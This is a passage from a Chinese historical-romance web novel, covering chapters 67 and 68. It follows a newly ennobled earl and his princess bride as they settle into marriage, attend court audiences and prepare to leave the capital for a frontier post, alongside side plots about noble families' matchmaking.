那么,在此等时候当然要合乎了天子心意。 至少不能跟天子对着干。一旦跟天子对着干,新贵? 更可能成了死人。 赵济世就想享受一下富贵与亲情。旁的,也不过是当一个识趣人。 莫挡旁人道,若是可以,还是多结交一些朋友。 怨不得赵济世多想。他迎娶了珍珠妹妹,一是心意若此。 二嘛,也是瞧出来了,天子真不想新贵们跟世家世族掺合的太深。 赵济世瞧得分明,坐于龙椅上的天子喜爱用孤臣。 孤者,忠也。 自然是忠于天子。 可赵济世既想做天子心腹,又不想当孤臣,更不想攀附于世家世族,做世家世族的走狗。 那怎么办? 赵济世当然要走出来一条新路。这不,赵济世在姻缘之上,婚事的事情上可不会从了世家世族。 赵济世娶了珍珠妹妹,那跟大赵朝内的世家世族的干系,一点也没有。 同时,不掺合了世家世族。那不代表了赵济世就要做孤臣。 不做孤臣,那就结盟友。 赵济世的底子在哪,在藩镇,在结义兄弟们一道起家的军中。 兵强马壮者,豪杰也。 这是赵济世的看法,谁让他出身于北镇边地。 那里不看诗书文彩,那里就看谁的拳头大。 谁的拳头大,谁在北镇边地就是说话中听,让人信服。 赵济世能在一众结义兄弟里做了老大,不是他的年岁最大。 而是赵济世的拳头最大。 当年游侠儿,靠的就是武力。没武力的游侠儿,那想卖命,都是不成。 新唐县伯府。 夫妻二人醒来,赵济世瞧着梳妆一番的妻子。 他笑了。瞧着梳妆镜前的妻子。 “我替珍珠妹妹画眉。”赵济世说道。 “……”万珍珠坐于梳妆镜前,她瞧着镜中自己的容貌。 “好啊。”万珍珠不拒绝。 本是闺中趣事,又何必拒绝。这会儿的赵济世拿起了眉笔。 赵济世的武力好,掌控力更好。 何况,赵济世早听说了与妻画眉一说。于是他偷偷的练过。 这会儿赵济世是有模有样的替妻子画了眉。 “济世哥哥画得好。”万珍珠夸一回。 “那当然,我偷偷的练过。可不是想惊艳了一回珍珠妹妹嘛。”赵济世不是得意,而是给妻子解释一回。 这画眉的本事,可是他故意练过的,就为了讨了妻子的欢心。 “济世哥哥……”万珍珠做了感动的态度。 真感动,毕竟新婚夫妻,这等小事,那也得对方乐意不乐意。 若是乐意,也是趣事。 二人从闺中离开,一道往厅堂去。一路上,万珍珠讲道:“新婚第一日,本应我做了新妇饭食。如此,瞧着时辰迟了。” “府上不缺了厨子,珍珠妹妹嫁与我,享福就是。”赵济世笑道:“想当初,妹妹是岳丈大人,岳母大人的掌心明珠。” “嫁到伯府,珍珠妹妹就是我的明月宝珠。”赵济世执着万珍珠的手,二人一道进了厅堂内。 早有吩咐,厨子们自然按着伯爷的话行事。 于是朝食,哪怕晚了一些。 二人的朝食依然是很美味,很丰盛。 “太奢侈了。”万珍珠瞧着满桌佳肴,她感慨一回。 “我怕妹妹用不习惯大赵的风味,于是差人多备了些。让妹妹挑一挑,挑着合心意的尝一尝。”赵济世是心细的。 “再说奢侈,嗯……”赵济世沉吟片刻后,笑道:“伯府往后,全由妹妹做主便是。” “妹妹是伯府的主母,用度如何,妹妹安排。我最相信珍珠妹妹,你办事,我放心。” 赵济世的态度明白。 在用餐后,也不含糊。赵济世让府内的各处管事与嬷嬷们一道来给主母拜礼。 管家权,这等时候自然由着赵济世全权的交给了新婚的妻子。 对此,万珍珠不拒绝。 一府主母,若不掌了管家权。那这主母的威严何在? 何况,万珍珠也想摸一摸底子,如此才好安排了往后的夫妻用度。 太奢侈了不成,当然,过于节俭,那也不必。 主要是万珍珠也清楚着,新唐县伯府是新贵的圈子。 真是太节俭,也容易让人蛐蛐了。 夫妻同玩三日,在府里,万珍珠由着夫君相伴。 二人吃吃喝喝,玩乐戏耍,好不快活。 可这般的快活日子总是短暂的。毕竟赵济世要当差。 这一日,夕食罢。 夫妻二人一道逛园子。侍候的仆从远远的坠着。 这会儿夫妻二人走在一处,赵济世说道:“明个,我要去衙门上差了。” “珍珠妹妹在府里若嫌弃无趣,也不妨办一些聚会,开解一二,同时,亦是结交三五好友。” 赵济世笑道:“我信珍珠妹妹,一切由你心意办事即可。若不喜聚会,不办也成。” “济世哥哥放心,我心头有数。我先跟弟妹们多聚一聚。这燕京都如何,想着在燕京都住了许久的弟妹们更清楚。”万珍珠说一说自己的打算。 “我听一听弟妹们的态度如何,到时候,可能也要办几场聚会的。”万珍珠是堂堂的新唐县伯夫人。 这嫁入伯府,没得闭门谢客的道理。 “其时这燕京都,我可能也住不久。”赵济世又提一话。 “济世哥哥要出远差,还是旁的什么原由?”万珍珠关切的问一回。 刚是新婚宴尔,这夫妻莫不是要分离?万珍珠一点不想。 新婚夫妻不相处,那感情如何培养?再是心悦谁,长久不见,万一感情淡了,又怎么办。 万珍珠在燕京都里,她最信任的还是枕边人。因为他们是夫妻。 他们的利益一致,他们是共同体。 “燕京都的能人太多,我啊,还是寻着自己能办好的差事是想办一点实事。也让陛下知道我的忠心。” 赵济世说一说自己的打算。 万珍珠听罢,也听懂了。 燕京都的水深,赵济世这一位新贵觉得避一避风头为好。 或者说莫让人拿来当出头的椽子。 对此,万珍珠当然是赞同的。 “夫妻一体,济世哥哥在哪,我便是去哪。这燕京都的富贵,享受也好,不享受也罢。其时,有济世哥哥的地方,才是我们的家。” 万珍珠的态度摆出来。 若是夫君去外地当差,如果可能的话,她要随行。 当留守的嫡妻,这等贤惠的妻子?万珍珠是万万不干的。 毕竟一般的贤妻留守了,还说孝顺高堂。 可新唐伯府内,也没让小辈孝顺的高堂在。 如此情况下,万珍珠当然是夫唱妇随。夫妻一体,同样行事。 次日。 赵济世去上差,同时,还得了天子的召见。 皇宫,泰一宫。 天子李明弘瞧着成婚后的心腹臣子,他笑道:“朕瞧着爱卿的气色不错。” “臣逢喜事,自然气色不错。陛下,臣这喜事,也是谢您成全。”赵济世赶紧又见礼道。 “良辰美景,花好月圆。爱卿这喜事,朕当然要成全。到底是一对鸳鸯盟好,朕岂能打散了。” 李明弘对于赵济世求娶大晋朝的浑江公主一事。 他这一位大赵天子是默许的。 谁让赵济世也识趣,当初是拒绝了崔氏递上来的橄榄枝。 对于李明弘而言,崔氏的手,那伸得太长了一些。 新贵,那是帝王提拔起来的。李明弘已经很头疼,那舅舅家和姨丈家,这两家已经在膨胀了。 若是出身寒微 的新贵们,还是不识趣。一旦惹了事,大赵天子李明弘是肯定要罚的。 如今的李明弘就想让新贵们识趣一点。莫要胆大包天。 天子毕竟是天子,李明弘还要脸,他真不想干出什么金盏共汝饮,白刃不相饶的事情来。 那样的话,天子说过的与君同富贵的话语,岂不是成了空话? “爱卿,乃是信人。”李明弘又夸一回赵济世。 “浑江公主嫁与爱卿,也是一桩佳话。”李明弘对于赵济世很满意。 主要是赵济世是识趣的,暗示一二,懂得退让。 不像是如今的燕京都里,有人飘了。 这让李明弘在头疼。燕京都的风云变幻又起。 在权利场里,很多人是不想退一步的。 大赵朝,燕京都,内城,国公府上。 常世子请了众宾客一道饮酒。常世子的宾客里,那当然是有许多的旧识。 不止世家世族的公子郎君,也有新贵圈子里的世子郎君。 常世子交友广阔。这里面有几分真意?又有几分刻意。 那得常世子自己才知道。 “同饮。”酒至半,常世子尝起酒盏。 “同饮。”在场的公子郎君们自然是同举酒盏。 饮酒做乐,舞姬舞的翩翩似仙子。歌姬的歌声也美。 这一派的富贵场合里,也有人在默默的饮酒。 只是默默的,像是参与,又像是孤立。 常二公子是常世子的弟弟,兄弟二人一母同胞。 同为嫡子,常二公子比起哥哥小一岁。小这一岁,便是在家族里的受重视嘛,那又大大不同。 嫡长子在家族里,在长辈眼中,总归不一样。 特别是常世子很有能耐的情况下,常二公子免不得就是得躲在了兄长的光环之下。 常二公子的身侧,有人喊话,道:“二郎,同饮。” 这人是与常二公子年岁相当的何二公子。 何二公子当初在干大事时,那被常世子压一头,狠狠的压一头。 这不,何二公子就喜欢上了跟常二公子凑一堆去。 第67章 何二公子是何国舅的嫡子,何二公子上面还有一位庶长兄。 这嫡长兄跟庶长兄又不同,何二公子的庶长兄嘛,在他这一位嫡出的弟弟跟前,很多时候还是矮一头。 谁让何二公子的母族很得力。 至如今,何国舅的地位身份又拔高一截。 瞧见此,何二公子发现,他家庶长兄又是抖起来。 “同饮,常二郎。”何二公子笑道。 “同饮,何二郎。”两个二郎凑一堆,这时候的气氛甚好,倒不至于冷了气氛。 宁国公府里,一场聚会进行着。 燕京都,内城,新唐县伯府。 赵济世去衙门上差,他得消假了。伯府内,万珍珠大概的瞧一瞧伯府的帐本。 因着陪嫁的嬷嬷们得力,万珍珠也懒得一一自己去查。 万珍珠揽一个总,挂一个名。 “万嬷嬷,这帐本由你领头查一查。我后面核实一下即可。”万珍珠把查帐的事情交给了陪嫁的万嬷嬷。 “奴婢明白。”万嬷嬷应下此事。 做为万内相给亲闺女挑的陪嫁嬷嬷。万嬷嬷当然有出众的本事。 没三两三的本事,也没可能给浑江公主做了陪嫁嬷嬷。 查帐,小事一桩。万嬷嬷手下,也有得力的丫鬟干了差遣。 可谓是浑江公主的陪嫁里,那是人手齐全,大家伙各有本事。 万珍珠很开心。这会儿府里的帐目有人替她查一查。 万珍珠就想着招待一下客人。自家夫君的十二位义弟,他们的家眷如今也生活在燕京都。 万珍珠不止要认了脸熟,她更得一一的拉拢一二。 经营感情,特别是到了陌生的地方。 哪一个圈子嘛,想凑上去,想融进去,总需要时间。 万珍珠现在花费的就是应该得花费的时间与功夫。 县伯府举办了晚秋的赏菊宴。菊花酥、菊花酿等等。 这只是名目。 懂得都懂,这是做嫂嫂的万珍珠想拉拢了跟弟妹们的感情与关系。 甭管结义兄弟十三人的感情多好。这枕边风的威力,谁也不敢小瞧。 赵济世不敢小瞧,万珍珠一样不敢小瞧。 做为大嫂,哪怕万珍珠是一众弟妹里年岁最小的。 可身份摆这,万珍珠就得当了一个好大嫂。 至少在明面上,万珍珠不能落了新唐县伯府的体面。 于是她先给各府下了贴子。尔后,等着聚会举办。 燕京都,皇宫。 天子李明弘召见了赵济世,给这一位心腹安排了一份差遣。 “朕随你意,由你回了一趟老家,再是风光一场。往后,你便是镇守于北镇。”李明弘问道:“这等差遣,一旦定下。不可更改。” “爱卿,当真不留恋了燕京都的繁华?”李明弘问道。 “燕京都虽好,臣更想建功立业。北镇在边地,更可能立了功劳。”赵济世说着官面上的话。 这话谁信? 谁傻。 赵济世瞧得出来,燕京都风云起,他觉得自己小胳膊小腿的,还是避一避。 至于禁军等等的燕京都的军中势力。赵济世不是不肖想。 而是不敢肖想。实在是盯着的人太多。 特别是大赵天子李明弘,那更是盯得紧。当成了自己的心肝宝贝。 谁想往禁军里安插人手?太难了。 目前的情况,那禁军全是大赵天子李明弘提拔了寒门的将士。 这些寒门还多半由边疆调来。与中枢之间,可谓是格格不入。 至于朝堂上,何国舅很威风,永宁伯晋为宁国公后,一样威风。 这两座新的国公府,那真是威风赫赫。 赵济世这等缺了跟脚的新贵,只有捧着,只有躲一躲的份儿。 秋末时节。 天凉了,却又不是冬日的萧瑟。 新唐县伯府。 万珍珠瞧着下差归来后的夫君心情不错。夕食罢。 夫妻二人一起赏了景。赏了天微暗,提着灯笼望月光的景致。 坐于廊下,夫妻二人望着天幕。 赵济世说道:“我的差遣已经定夺下来,往后要守于北镇边地。” “劳珍珠妹妹辛苦了,一来燕京都,繁华未曾享,倒陪我去边地吃一吃苦头。”赵济世说道。 “燕京都繁华,没了济世哥哥在,于我,那与嚼蜡一般无趣。边地,再是旁人口中的荒凉。又如何?”万珍珠一点不在意。 “济世哥哥是新唐县伯,一去边地,若我与济世哥哥过的日子都是苦日子。黎庶百姓是没法子活了。”万珍珠捂嘴笑一回。 “珍珠妹妹这话说的对。我说错话了。我此话一出,倒显得不识民间疾苦。”赵济世也是哈哈大笑一回。 笑罢,他又道:“我们夫妻同心,哪怕在边地,也要过一番的开心日子。” “对啊。”万珍珠很赞同。 “只是……”万珍珠沉吟片刻后,又道:“我嫁来燕京都的日子太短。这一去,又不知经年何月再归来。” “我与诸家弟妹之间,怕是难以结交了深厚的友谊,颇为遗憾呢。”万珍珠想跟十二位弟妹们好好相处。 可惜,时间太紧。任务再重,这真没法子。 “我与义弟们感情好。珍珠妹妹与诸位弟妹们相处着,来来往往,天常日久,总见人心之好。”赵济世看得开。 在赵济 世的眼中,他与义弟们的感情好。那么,妇人之间,总归是会走到一处。 毕竟大家伙的利益一致,感情也到位了。 万珍珠听着夫君的话,轻轻颔首。她不反驳什么。 也没必要反驳什么,时间是最好的见证,时间会证明了一切的。 又一日,赵济世去上差。哪怕已经被安排将去北镇。 这离开前,应该安排一二的事情,赵济世这里就得安排妥当。 新唐县伯府。 万珍珠开了赏菊宴。各家弟妹们一一捧场而来。 一众人在花厅里,赏了晚菊,吃些茶果点心,再是饮了佳酿。 在气氛最好时,万珍珠笑道:“夫君的差遣下来,我们夫妻将要离开燕京都。这一去北镇,倒要跟弟妹们说一声道别。” “往后,一想着不能常常见到诸位,我心里颇是遗憾的。”万珍珠感慨一番。 “大嫂要去北镇驻守,往后来往少了,我等也是遗憾。”沈氏也讲话道。 “是啊,嫂嫂离开,这一去,怕是多年后才能再见。” “真舍不得嫂嫂。” “……” 众人你一言我一语,话中全是一个意思,便是舍不得万珍珠这一位好大嫂。 好话嘛,万珍珠听一听,至于当真不当真? 这是一个仁者见仁,智者见智的问题。 等着宴会气氛最好时,沈氏提了一话,她说道:“好叫大嫂知道,我这儿还得了旁人的请托。” “哦?”万珍珠来了兴致。 “谁人的请托,二弟妹但讲无妨。”万珍珠笑道。 “崔九姑娘。”沈氏给万珍珠详细的说一说崔九姑娘的实情。 。 “只这一回的请托,瞧着不能成了。崔九姑娘是年底的及笄礼。那会儿,大嫂不一定还留在燕京都呢。”沈氏解释一番。 万珍珠一听,原来是崔九姑娘想请了万珍珠参加她的及笄礼。 “及笄礼,太重要。女郎一辈了就一次的盛大之时。”万珍珠感慨一番。 对于万珍珠的及笄礼,那是补办的。如果不是认回亲爹。万珍珠没可能有及笄礼。 哪怕是补办的,那应该收的礼,万珍珠可没少收。 想着过往,万珍珠又忍不住望了西边的方向。 对于镐京都的爹娘,万珍珠是思念的。 离着远了,不知道亲人近况。万珍珠在心里挂念几分。 思量着这些时,万珍珠又觉得去北镇没什么不好。 北镇离着浑江郡太近了。 万珍珠对于浑江郡的一切也是关注着。 “二弟妹,要不,我提前备了崔九姑娘的及笄礼。到时候请二弟妹替我转送一回吧。”万珍珠笑道。 崔氏一族,世家名门。万珍珠没想着跟对方闹崩掉。 对方有善意,甭管为什么。万珍珠当然是善意相待。 大家伙都是体面人,在应该体面的时候,万珍珠一定也会体体面面。 “我听嫂嫂的安排。”沈氏忙应话道。 万珍珠这儿倒是把崔九姑娘及笄一事搁下了。 崔府。 崔九姑娘这一边,她起意认识一下新唐县伯夫人。 那当然是想替姐姐过一回眼。 崔九姑娘对于新唐县伯夫人很好奇。她就想认识一下对方。 待沈氏给崔九姑娘递了消息后。崔九姑娘还是惊讶一回。 这事情崔九姑娘没瞒人,她跟姐姐讲一回。 崔府内。 崔八姑娘听着妹妹的讲述,问道:“这般说来,妹妹还跟人提了话,想去县伯府做客?” “对呀。”崔九姑娘大大方方的承认。 “有些谣言,我等不在意,自然就不用怕谁蛐蛐。”崔九姑娘是迎难而上的态度。 崔八姑娘懂得妹妹的意思。她轻轻颔首。 “既然如此,妹妹主意定了,我只能同意。”姐妹二人,一心一意。崔八姑娘当然不可能拆了妹妹的台。 “说是做客,倒是日子挑得急。”崔九姑娘又嘀咕一回。 “也没法子,新唐县伯这一对新婚夫妻可不会久留燕京都。他们一去边地,再想认识一番县伯夫人,倒是难了。”崔九姑娘笑道。 崔九姑娘想认识一下浑江公主。这一位公主嘛,那如何会乐意远嫁? 崔九姑娘真好奇。 倒是崔八姑娘问一问妹妹,在妹妹这里掏了老底后。 崔八姑娘沉默了。 不在人背后议论了事事非非,崔八姑娘没说了浑江公主的老底子。 在崔八姑娘的心底,太监的女儿,这身份真不荣光。 新唐县伯府。 又两日,赵济世跟衙门里的交差,那已经走完了流程。 如今就等着吉日到,尔后,便是起程北去。 为何不等新年时节? 这冬日的日子也长,也没必要一直等着。 一冬里,不可能一点事情不干。 赵济世巴不得早些回北镇,待来年,又是新一年,又有新愿景。 赵济世在忙碌,在结交了各方的人脉。 万珍珠嘛,她一样忙碌的很。哪怕伯府的帐目等等,也有陪嫁万嬷嬷等人帮衬了。 可旁的事情,还要万珍珠拿主意。 特别是亲爹给的暗中人手,在燕京都里,也有一股子的势力要接手。 万珍珠当然要忙碌一番,还得暗暗的进行。 避人耳目,不过常理。 万珍珠忙碌的很,如此,她也累一番。可累着,人的精神很好。 主要是瞧着前途越来越好,前程可望,谁的心情都会好。 北边的消息,万珍珠也听着不少。 今年,年节还不错。瞧来年,又会有丰收年。 至少钦天监这般的合过黄道吉日。 旁人信不信,这不重要。万珍珠是挺相信的,她盼着钦天监合的准。 伯府待客,不是一回二回。 万珍珠是头一回见着崔家姐妹。同样,崔家姐妹也是头一回见着浑江公主。 “问公主万安。”姐妹二人一见着万珍珠,便是福了万福礼。 “二位女郎客气,快请坐。” 万珍珠的态度也是客客气气。在前院,在花厅里待客。 花厅里,布局很富贵。同时,又添了插花,倒有几分雅致味儿。 这会儿的丫鬟送上茶果点心,尔后,万珍珠摆摆手。 侍候的丫鬟们一一退下。 留下来的侍候的,也不过是万珍珠信任的陪嫁嬷嬷。 “粗茶待客,请二位莫嫌弃。”万珍珠端起茶盏,又是慢慢的品一品。 “好茶。”崔九姑娘赞一回。 “这乃宫里的贡茶,何来粗茶一说。公主才是客气了。”崔九姑娘品过茶后,笑着讲话道。 崔八姑娘的话少,落万珍珠眼中,倒是崔九姑娘活泼可人。 瞧瞧,态度活泼,说话捡着有趣的讲。 屋中气氛不错,八成是崔九姑娘的功劳。至于崔八姑娘的话少。 崔八姑娘偶尔里,还是瞄一眼浑江公主。落崔八姑娘的眼中。 浑江公主很美,娇娇芙蓉面。 崔八姑娘想,就如此,便是这一张脸,也是美得动人心。 新唐县伯会迎娶了浑江公主,真不会太让人意外。 至于浑江公主的脾气如何?品性如何?这要天长日久方可知。 崔八姑娘不敢下结论。崔八姑娘只是默默的瞧一回浑江公主。 在心里,崔八姑娘也是挑着浑江公主的优点。 不为旁的,只一张脸就足够了。 对于崔八姑娘的目光,万珍珠不在意。其时,在待客前。 万珍珠也是查一查崔家与新唐县伯府的关系。 尔后,应该知道的,不应该知道的,万珍珠全知道了。 对于差一点与夫君订婚的崔八姑娘,万珍珠也好奇过。 夫君为何拒绝这等佳人? 在万珍珠的眼中,崔八姑娘哪哪都好。人美,脾气瞧得温柔。 这般家世还出众的女郎,可谓是多少人眼中的贤妻人选。 毕竟一旦娶了名门女郎,这岳丈大人家中的助力可太大了。 可惜,万珍珠很清楚,她家夫君是拒绝了崔氏的橄榄枝。 这一场待客,彼此都有默契。或者说大家伙的心底都有数。 每一人都拿出自己最好的一面。 于是一场小聚会,气氛不错。 这一日,晚间。 夫妻二人就寝前,赵济世提一事,说道:“后日,便是吉日。我们要离开燕京都了。” “嗯,我知了。”万珍珠应一回。 “济世哥哥,今个我待客,我见着崔家二位姑娘。姐妹二人,各有千秋,端是春兰秋菊,各有各的美好。”万珍珠夸一回崔家姐妹。 “那当初,济世哥哥拒绝了这般的美人为妻。可,后悔吗?”万珍珠笑问道。 “这有什么后悔的。”赵济世浑不在意。他说道:“我与崔家女,注定没缘分。” “我心头清楚,我这一辈子的缘分,那就落在 珍珠妹妹的身上。“赵济世执起万珍珠的手,二人十指交缠。 万珍珠笑一回,她扬起灿烂笑容。 “济世哥哥这话,我听着开心,我便是信了。” 万珍珠就爱听好话,这话中听,让人心里美滋滋。 “真不是骗了珍珠妹妹。我与崔家女,打从一开始就不可能。”赵济世不介意揭一揭自己的旧伤疤。 赵济世说了一回太上皇后宫的崔婕妤旧事。 “原来如此。”万珍珠知道旧事。 她有一点心疼面前的夫君。 “当日你瞧我不起,今朝的我,让你高攀不起。”万珍珠很认真的点点头。 “哪有珍珠妹妹说的这般得意。”赵济世感慨一回。 “我不止是赌一口气。而是真不想跟崔氏一族沾上关系。”赵济世说着大实话。 赵济世也要脸,不能被人打脸了。旁人招呼一句,他就巴巴的凑上去。 若如此,赵济世不注重了体面。他不止落了自己的脸,也是落了一众兄弟们的脸。 赵济世的心里,他对于兄弟们也是看得重。 没可能为了外人,还是伤了自家人的感情。 大赵朝,燕京都,崔府。 次日,贺夫人见着亲女儿崔八姑娘。这时候的崔八姑娘是一脸笑意。 崔八姑娘的精气神不错。她笑道:“娘,女儿想通了。” 崔八姑娘是真想通了。 做客一回新唐县伯府,与浑江公主面谈一番。 崔八姑娘对于新唐县伯的心结去了。她嘛,还觉得应该迎接了新的人生。 “真想通了?”贺夫人问女儿道。 “嗯。”崔八姑娘点头。 “那,这一众的公子郎君你,你最中意谁?”贺夫人问了亲女儿。 可不像往常,全随了女儿的一句话。任凭爹娘做主。 依着贺夫人的心思。能拿出来的名目里的人物。 哪一个都是入了贺夫人夫妻的心坎上。 真是不满意,也入不了女婿人选的名目中。 让亲女儿挑,贺夫人真是一片慈母心。 “娘,常二公子如何?”崔八姑娘问话道。 “宁国公府的常二公子,人挺好。”在贺夫人的嘴里,常二公子真不错。 虽然常二公子没爵位继续,可宁国公府有爵位。 常二公子是宁国公的嫡次子。宁国公又是大赵天子的亲姨丈。 这跟天家的感情好,宁国公府的富贵自然长久着。 特别是常世子,在天子跟前很得脸面。凭此,贺夫人就满意。 主要是常二公子不是常氏一族的头面人物。 往后压力会少许多。做了嫡媳,还是小儿媳妇。 在婆母跟前容易得脸,又不像嫡长媳一般的面面得俱全。 这般的小儿媳妇好当。至少在贺夫人的心里是如此。 “你若满意,娘只有高兴的道理。”贺夫人见闺女同意了。 这一桩好姻缘,贺夫人当然要撮合成。 又一日。 万珍珠接着宫廷里的召见。这是中宫皇后的旨意。 对此,万珍珠很开心。 因为中宫皇后召见的旨意前,朝廷安排使节来,给万珍珠赐下了大赵朝的诰命诏书。 虽说万珍珠是大晋公主。那是晋朝的册封。 嫁入新唐县伯府,来了大赵的地界。如今又得了新唐县伯夫人的正式诏令。 对于万珍珠而言,这挺不错的。 进一趟宫门,当然得慎重三分。于是万珍珠是仔细的梳妆一番。 这一回进宫,万珍珠是单独一人。或者说,赵济世那儿,他倒不必再进宫。 跟帝王谢恩一事,赵济世已经进行过了。 不是头一回进皇宫。大晋的皇宫,万珍珠是踏足过。 倒是大赵的皇宫,万珍珠是头一回踏足。 大赵的中宫皇后,这一位是天子的继室。此事,万珍珠当然知道。 万珍珠更知道,当初,朱三姑娘差一点就成了大赵天子的继室。 差一点,那一点太遥远。 想着过往时,万珍珠想到了永州的那些年。 再回想,就想是遥远的过去。 一别经年,真的遥远得像是上一辈子的事情。 可事实上嘛,也不是太远的时光。 倒是朱三姑娘这么一个人,在万珍珠的记忆里褪色了。 若非踏足皇宫,一时半会儿的,万珍珠真是想不起来朱三姑娘这么一个人。 谁让大晋朝的事情,那隔了千山万水,如此离着万珍珠就遥远了。 除了记挂着爹娘,万珍珠对于大晋朝的一切,在往后是隔着雾里看花。 想看真切,太难了,难的没法子细说。 大赵的皇宫跟大晋的皇宫,落了万珍珠的眼中没什么两样。 不过是高高的宫墙,金色的琉璃瓦。那是中宫的寝宫。 凤仪宫。 万珍珠一到,有中宫的嬷嬷引路,请万珍珠往正殿去。 第68章 大赵天子李明弘的皇后是继室,这一位中宫皇后的容貌不算太出众。 至于进了凤仪宫主殿的万珍珠在给中宫皇后请安后。 万珍珠瞧一回皇后娘娘的容貌,确认了此事。 “免礼,赐坐。”皇后瞧着万珍珠,客气的说道。 万珍珠谢过话,便是落坐了。 此时,大赵皇后又是关心一回万珍珠,问道:“新唐县伯是国之干臣。夫人乃是大赵的诰命。尔等夫妻一体,本宫知伯夫人新嫁来燕京都不久。倒想问一问,伯夫人可还适应了燕京都的气候?” 大赵皇后岂止是问了万珍珠适应不适应燕京都的气候。 皇后娘娘更关心了万珍珠这一位伯夫人随夫往北镇去,夸二人真乃一对天作之合的良缘。 “劳皇后娘娘关心,伯府上下,俱是安稳无恙。”在万珍珠的嘴里当然不会说了什么不当的话。 出发在即,又挑着皇道吉日。万珍珠能说的,会说的,当然全是好话。 “如此,甚好。”大赵皇后笑着讲道:“本宫想一想伯夫人。” “也是替皇室感激一下伯夫人。伯夫人贤惠,一心照顾好新唐县伯。也是让大赵朝廷收获了一位良臣贤臣。” 大赵皇后不止嘴里说是感谢。又是吩咐一声。 皇后的陪嫁呈上来好几套的头面首饰。 “这些是本宫的一点心意,赐给伯夫人赏玩吧。” 大赵皇后笑道。 皇后吩咐一句,自然有宫人呈于万珍珠这一位新唐县伯的夫人跟前。 此时,万珍珠又谢恩一回。 至于这一些赏,自然有宫人装裱好。尔后,等万珍珠出宫时,再是顺道带回去。 在凤仪宫内,大赵皇后与万珍珠闲谈一二。 谈着燕京都的趣事,也谈一谈北镇的风花雪月。 更多的时候,皇后是借着新唐县伯的出众,如此,又是夸一回万珍珠的好福气。 端是如此,万珍珠也瞧明白。天家施恩,不是施给她的恩典。 而是借由赏赐与她,让世人知道天家重视了新唐县伯。 夫妻一体,夫贵妻荣。 凤仪宫的态度很明白。万珍珠当然也懂了。 在凤仪宫内,万珍珠谢恩一场。 待的时间不算太久,不过区区的两个钟时间。尔后,万珍珠告退离开。 待万珍珠走后。 大赵皇后跟陪嫁嬷嬷说道:“嬷嬷瞧瞧,可瞧出些什么?” “倒是好模样,难怪能惹了新唐县伯的一时情深。”陪嫁嬷嬷讲道。 “嬷嬷觉得是一时情深,往后 ,还有变数?“皇后问道。 “情深情浅,往后如何,总归让时间来确认。”陪嫁嬷嬷说道:“依奴婢瞧来,朝廷上下,宫廷内外,数着皇后娘娘的福气最大。” “……”皇后愣神片刻,又笑道:“本宫啊,能嫁给陛下自然是福缘深厚的。” “岂止。”陪嫁嬷嬷是笑着回话,态度从容,说道:“凤仪宫的上下,指望着皇后娘娘的威仪。” “倒是在陛下跟前,不瞧旁的,只瞧中宫的份量,陛下心里,娘娘就是不同的。何况,凤仪宫还有小殿下。” 陪嫁嬷嬷提一句小殿下。 皇后的脸上笑容更温柔。她说道:“皇儿还小,倒底还需要他的皇父多教导了。” 对于皇后而言,为天家继室,这不可怕。 她膝下有嫡子,这很要紧。毕竟大赵天子李明弘的膝下有庶子嫡子。 而原配当年,可没留了嫡子。 皇宫内外,谁能当太子。至少在世人眼中,中宫皇后所出的小殿下,那才是众望所归的太子人选。 中宫有嫡子,不止是安了皇后的心。也安了皇后娘家的心。 便是凤仪宫上下,谁的心里都有底。 凤仪宫的前程,未来还会更加的光明。如此情况下,凤仪宫的份量当然更重。 出了凤仪宫。 万珍珠又走出皇宫,在宫门处,万珍珠瞧见了来亲自接她的夫君赵济世。 “……”万珍珠这会儿挺感动。 有些小细节,枕边人注意到,做与不做,全在对方一念之间。 偏生对方做到了,万珍珠很开心。 “珍珠妹妹,上车吧。”赵济世笑道。 万珍珠盈盈一笑,不拒绝了。 此时,赵济世亲自搀扶着万珍珠上了马车。尔后,他也上了马车。 赵济世没骑马,他陪着万珍珠一道坐马车回伯府。 路途中,赵济世关心一回,问道:“进宫里,珍珠妹妹可遇着事情?” “一切安好。济世哥哥瞧瞧,这些还是皇后娘娘赏下来的。”万珍珠指着装了头面首饰的匣子,她笑着讲道。 “挺多样。”赵济世大概略瞧一眼,给了答复。 “是啊,凤仪宫很重视我。不,与其说重视于我,不如说,更想体现了对济世哥哥的重视。” 万珍珠这一番话讲完,赵济世笑道:“上恩浩荡,如此,我和珍珠妹妹只能赶紧的去北镇。我在北镇做一番功业,也是让世人知晓,我乃干臣,不负皇恩。” “好啊,全依济世哥哥的主意。” 万珍珠同意了,对于早一点离开燕京都,万珍珠没意见。 大晋朝,镐京都,内城,浑江公主府。 牛二囡瞧着丈夫在写信,她在旁边急着。她说道:“夫君,你也替我写一写。” 牛二囡也想写了家书,可她识的字太少。 此时的牛二囡未尝不是后悔,当初学写字时,那是不偷懒了。 如今的情况,想与闺女通了书信,还得夫君帮衬。 家书一封抵万金。 牛二囡有需求,万忠良同意了。只他先写了厚厚的家书,全是他自己在意的话。 等着替妻子写家书时,万忠良提笔就动。 挥墨而至。 “此去几千里,这般家书足矣。”万忠良写好家书,他跟妻子讲道。 “冬日天寒,远在大赵,也不知道珍珠有没有多添了冬衣。”牛二囡知道凭女儿的本事。 也没可能让自己饿着冻着。 可当娘的心里免不得就是担忧。牛二囡还是挂念的很。 万忠良听一听妻子的囫囵话。听一听,又是安抚一番。 “冬日,天寒。咱多回府,多陪陪你。”万忠良也知道,他若不在,他在宫廷当差。 府上就妻子一个主子,免不得寂寥三分。他归来,也让府上多一些烟火气。 “好,好。”牛二囡应了话。 万忠良陪着妻子,二人一道用饭。饭罢,二人又是闲谈一番。 万忠良会说一说宫廷内,那些能说的事情。 至于不能说的,万忠良绝口不多提。 “夫君,我听说,李贵妃娘娘又得圣宠了?”牛二囡讲道。 “这事情宫外也在传扬?”万忠良问道。 “可不,有些人在蛐蛐。”牛二囡肯定的回道。 虽然不常出府,可也会参加一些聚会。牛二囡自然有自己的消息渠道。 “李贵妃说多得宠,那不至于。不过是比着当初,如今在陛下跟前得了一二的体面。”万忠良淡然的说道。 “如此,咱也帮衬了一二。”万忠良又表明他的态度。 “夫君也掺合了宫廷内苑的嫔妃争宠一事,这,会不会过问的太多了?”牛二囡的脸上有担忧之色。 在后宅当过差,牛二囡可知道,东风压西风,也可能西风压东风。 天子的后宫嫔妃太多,谁都可能是云彩。可是,更可能是一时的光彩,不得长久。 自家掺合进去,牛二囡就担忧不得长久啊。 “咱不过是顺了陛下心意。岂会掺合的深了。没得降低咱的格局。”万忠良表明态度。 “原来如此,是我多想了。”牛二囡一听丈夫这话,又是松展笑颜。 只万忠良心底最清楚,他乐意给李贵妃一些体面。 